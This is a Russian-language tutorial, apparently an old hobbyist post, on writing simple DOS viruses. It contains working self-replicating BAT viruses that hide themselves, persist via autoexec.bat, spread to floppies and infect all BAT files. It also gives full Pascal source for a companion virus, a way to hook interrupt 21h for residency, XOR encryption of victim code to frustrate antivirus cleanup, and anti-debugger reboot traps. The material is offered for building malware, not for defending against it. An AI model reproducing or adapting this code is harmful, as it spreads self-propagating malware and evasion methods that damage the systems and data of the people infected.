Кто-то написал "Сегодня я еще раз хочу затронуть тему простых
вирусов. Речь не пойдет о замещающих вирусах, а поговорим об
компаньон-вирусах, спутниках и про BAT-вирусы
BAT-вирус
@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но
все-таки я бы не сказал что это полноценный вирус, т.к. он лишен
возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел
более четкие очертания дополним его возможностью заражать другие ПК:
@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
В этом примере появляется строка, которая дает возможность вирусу
заражать дискеты. Смысл этого в том что если при перезагрузке ПК в
дисководе будет дискета, то она будет заражена.
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза
юзеру, чтобы этого не было существует программа attrib. Преобразуем
вирус:
@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в
autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы
этого не произошло есть простой способ: после записи вызова надо с
помощью программы attrib установить атрибут только чтение у
autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо
грамотнее:
@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если
он уже существует, то происходит переход к метке cool. Этот способ тоже
очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat,
а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы
вирус был умнее, то надо использовать программу find, если вам будет не
лень с ней разбираться, то вы сможете написать более сложный BAT-вирус,
который будет заражать не один файл c:autoexec.bat, а все *.BAT.
Пример:
@echo off%[MeTrA]%
if '%1=='In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA"<%0>c:MeTrA.bat
attrib +h c:MeTrA.bat
:MeTrAru
for %%t in (*.bat) do call c:MeTrA In_ %%t
goto MeTrAen
:MeTrAin
find "MeTrA"<%2>nul
if not errorlevel 1 goto MeTrAen
type c:MeTrA.bat>>%2
:MeTrAen
Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном
примере она MeTrA. Например, в первой строке эта метка ничего не
делает, во второй строке эта метка, как бы, не является пассивной, она
используется для внутренней работы вируса, а именно участвует в
названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT,
если нет, то вирус создает его и с помощью программы find копирует из
файла (из которого стартовал) все строки содержащие метку вируса, т.е.
копирует только вирусные строки. Так, вирусные строки скопированы.
Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус
ищет BAT-файлы. Чтобы не происходило повторного заражения используется
все таже программа find. Допустим вирус нашел файл RUN.BAT и он
оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими
параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что
надо заразить файл, имя которого указано во-втором параметре, в данном
случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим
способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот
так файл RUN.BAT оказывается зараженным.
Компаньон-вирус
Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы.
При запуске программы сначала запустится COM-файл с вирусом, который
заразив другие файлы запустит EXE-файл. Рассмотрим пример:
{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.
Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с
параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы
значение его было не меньше EXE-файла с вирусом, а желательно чтобы и
больше не было.
Вирус-спутник
Принцип заражения:
• найти EXE-файл
• найти OVR-файл с тем же именем
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.
Резидентные вирусы
Из справки Паскаля:
{$M $800,0,0 } { 2K stack, no heap }
{ This program causes a click each time a key is pressed.}
uses Crt, Dos;
var
KbdIntVec : Procedure;
{$F+}
procedure Keyclick; interrupt;
begin
if Port[$60] < $80 then
{ Only click when key is pressed }
begin
Sound(5000);
Delay(1);
Nosound;
end;
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}
begin
{ Insert ISR into keyboard chain }
GetIntVec($9,@@KbdIntVec);
SetIntVec($9,Addr(Keyclick));
Keep(0); { Terminate, stay resident }
end.
Теперь уберем все ошибки из этого примера и переделаем под вирус:
{$F+}
procedure Keyclick; interrupt;
begin
InfExe; { вызов процедуры заражения }
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}
Здесь процедура InfExe является обычной процедурой нерезидентного
вируса (заражает в текущем каталоге). А вот эти строки впишем в то
место вируса, где как бы его конец.
{ Insert ISR into keyboard chain }
GetIntVec($21,@KbdIntVec);
SetIntVec($21,@Keyclick);
Keep(0); { Terminate, stay resident }
К сожалению в справке не сказано как избегать повторной установки в
память, поэтому я советую чтобы вирус копировал свое тело в
какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример:
install=c:vir.exe /123, здесь /123 - это такой параметр, он говорит
вирусу, что тот стартовал для заражения памяти, т.е. ему не надо
запускать своего носителя, а надо выполнить эти три строчки.
Можно помудрить и с другими прерываниями, но вынужден вас расстроить,
вирусы такого типа, как правило, очень глючные и работают, в основном,
только в многозначной среде (в эмуляции DOS виснут).
Усложнение лечения
Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь
ламеру, стал жертвой его антивируса, то следует подумать об усложнении
лечения.
Вирус на Паскале, как правило, заражает программы в начало, перенося
старое содержимое в конец. Такими вирусами антивирусные базы
пополняются автоматом (без вмешательства человека). Оно и понятно,
переписать конец в начало и обрезать длину - это очень простая
операция. Смысл усложнения лечения заключатся в шифровке куска своей
жертвы. Т.к. кусок жертвы при переносе к конец файла находится в
массиве, тогда поступаем примерно так:
for i:=1 to 777 do
begin
cc:=a1;
i2:=ord(cc) xor 343;
a1:=chr(i2);
end;
Здесь a1 - это массив, в котором сохраняется начало жертвы; i,i2 - integer; cc - char.
В результате данной операции шифруется кусок файла-жертвы (777 байт).
Т.к. операция шифровки осуществляется с помощью XOR - для расшифровки
используется та же операция. Значит эту маленькую подпрограмму надо
оформить в виде процедуры, которую следует прописать в процедуре
заражения и в процедуре запуска своего носителя (перед запуском и после
запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере
шифровка осуществляется с помощью ключа 343, он может быть от 1 до
65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого
файла, например, сделать чтобы ключ зависел от размера своего носителя
или можно генерировать ключ случайным образом и помещать его где-нибудь
в теле вируса или считывать несколько байт кода жертвы, получать их
ord-значения и использовать как ключ. И еще, в моем примере шифровка
идет от начала файла, а можно сделать определенное смещение, которое
тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно
сделать ее тоже случайной и т.д. Можно также защитить вирус от
ламерской трассировки:
uses dos;
var
O1H , O3H , Br : Pointer;
{$F+}
procedure ReBoot; Interrupt;
begin { а это для того, чтобы нехорошие дяди не запускали Debug }
InLine($EA/
$00/
$00/
$FF/
$FF);
end;
{$F-}
{$F+}
procedure BreakOff; Interrupt; { + }
begin
{ Invisible Magic Words! }
end;
{$F-}
begin {main}
GetIntVec($01 , O1H); { подготавливаем систему }
SetIntVec($01 , @ReBoot);
GetIntVec($03 , O3H); { вешаем антитрассировщик }
SetIntVec($03 , @ReBoot);
GetIntVec($1B , Br); { заменяем вектор ^C }
SetIntVec($1B , @BreakOff);
SetCBreak(False); { и отключаем ^C }
writeln('hello');
SetIntVec($01 , O1H); { восстанавливаем захваченные векторы }
SetIntVec($03 , O3H);
SetIntVec($1B , Br);
end.
Здесь вместо фразы Hello следует вставить процедуры вируса,
процедуру запуска носителя следует вставлять после строк восстановления
векторов.
|